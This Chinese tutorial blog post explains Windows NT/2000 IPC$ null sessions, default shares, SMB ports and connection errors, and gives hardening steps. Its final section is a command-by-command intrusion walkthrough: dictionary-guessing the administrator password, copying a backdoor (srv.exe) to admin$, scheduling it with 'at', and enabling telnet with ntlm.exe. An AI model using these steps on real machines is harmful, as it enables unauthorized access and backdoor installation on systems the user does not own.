IPC$入侵综述

IPC$ 入侵综述
 
什么是ipc$
 
IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。
我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。
所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.
 
1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9.x中运行。
也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的
 
2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接
 
3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表
 
 
建立ipc$ 连接在hack 攻击中的作用
 
就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限。
(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.)
 
 
ipc$ 与空连接,139,445 端口, 默认共享的关系
 
1)ipc$与空连接:
不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.
 
2)ipc$与139,445端口:
SMB(Server Message Block) Windows协议族,用于文件和打印共享服务。NBT(NetBIOS over TCP/IP) 使用137(UDP), 138(UDP) and 139 (TCP)来实现基于TCP/IP的NETBIOS网际互联。
在Windows NT中SMB基于NBT实现。 而在Windows2000中,SMB除了基于NBT的实现,还有直接通过445端口实现。 当Win2000(允许NBT)作为client来连接SMB服务器时,它会同时尝试连接139和445端口,如果445端口有响应,那么就发送RST包给139端口断开连接,以455端口通讯来继续.当445端口无响应时,才使用139端口。当Win2000(禁止NBT)作为client来连接SMB服务器时,那么它只会尝试连接445端口,如果无响应,那么连接失败。(注意可能对方是NT4.0服务器。) 如果win2000服务器允许NBT, 那么UDP端口137, 138, TCP 端口 139, 445将开放。 如果 NBT 被禁止, 那么只有445端口开放。
ipc$连接可以实现远程登陆及对默认共享的访问。一般情况下,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,ipc$连接是需要139或445端口来支持的.
 
3)ipc$与默认共享
默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)
 
 
ipc$ 连接失败的原因
 
以下5个原因是比较常见的:
1)你的系统不是NT或以上操作系统;
2)对方没有打开ipc$默认共享
3)对方未开启139或445端口(惑被防火墙屏蔽)
4)你的命令输入有误(比如缺少了空格等)
5)用户名或密码错误
另外,你也可以根据返回的错误号分析原因:
错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
错误号51,Windows 无法找到网络路径 : 网络有问题;
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
错误号1326,未知的用户名或错误密码 : 原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素。
 
 
如何打开目标的IPC$
 
首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(通过net命令),还是不行的话(比如有防火墙)建议放弃。
 
 
如何防范ipc$ 入侵
 
1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)
首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/LSA]把RestrictAnonymous = DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)
 
2禁止默认共享
1)察看本地共享资源
运行-cmd-输入net share
2)删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)
3)停止server服务
net stop server /y (重新启动后server服务会重新开启)
4)修改注册表
运行-regedit
server版:找到如下主键[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/LanmanServer/Parameters]把AutoShareServer(DWORD)的键值改为:00000000。
pro版:找到如下主键[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/LanmanServer/Parameters]把AutoShareWks(DWORD)的键值改为:00000000。
如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。
 
3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用
 
4安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等)
 
5设置复杂密码,防止通过ipc$穷举密码
 
 
相关命令
 
1)建立空连接:
net use //IP/ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格)
 
2)建立非空连接:
net use //IP/ipc$ "用户名" /user:"密码" (同样有3个空格)
 
3)映射默认共享:
net use z: //IP/c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)
如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: //IP/c$
 
4)删除一个ipc$连接
net use //IP/ipc$ /del
 
5)删除共享映射
net use c: /del 删除映射的c盘,其他盘类推
net use * /del 删除全部,会有提示要求按y确认
 
 
经典入侵模式
 
第一步:扫描目标IP段,尝试建立空连接,猜解 admintitrator 的密码。这一过程费时费力,建议使用流光扫描,挂字典猜解弱密码。
 
第二步:打开cmd 输入:
C:/>net use //127.0.0.1/IPC$ "123" /user:"admintitrator"
上面的意思是与127.0.0.1建立一个连接,用户名是administrator,密码"123".
命令成功完成。
 
下面用到一些工具在流光TOOLS中,也可以用其他的工具,大同小异。
C:/>copy srv.exe //127.0.0.1/admin$ //复制srv.exe到目标机器(这里的ADMIN$是指ADMIN用户的c:/winnt/system32/ 还可以使用c$,d$ 意思是C盘与D盘,这看你要复制到什么地方去了)
已复制 1 个文件。(成功了!*.*)
 
C:/>net time //127.0.0.1 //查询时间,这里的时间是指对方计算机的。
命令成功完成。
 
C:/>at //127.0.0.1 11:05 srv.exe //用at命令定时启动srv.exe。(这里设置的时间延迟5秒)
新加了一项作业,其作业 ID = 1
 
C:/>telnet 127.0.0.1 99 // TELNET默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的SHELL。
 
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活,所以我们打算建立一个Telnet服务,这就要用到ntlm了。
 
C:/>copy ntlm.exe //127.0.0.1/admin$ //再开一个DOS窗口,把ntlm.exe上传到主机上。(也是在流光的Tools目录)
已复制 1 个文件。
 
C:/WINNT/system32>ntlm //输入ntlm启动。(这里的C:/WINNT/system32>指的是对方计算机,我们运行ntlm其实是让这个程序在对方计算机上运行)//
ntlm
Windows 2000 Telnet Dump, by Assassin, All Rights Reserved.
 
Done! //OK了
 
C:/WINNT/system32>
C:/WINNT/system32>net start telnet //用net start telnet启动telnet
Telnet 服务器正在启动.
Telnet 服务器已经启动成功。
 
第三步:使用TELNET到对方计算机上去
TELNET 127.0.0.1
接着输入用户名与密码就进入了。
 
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值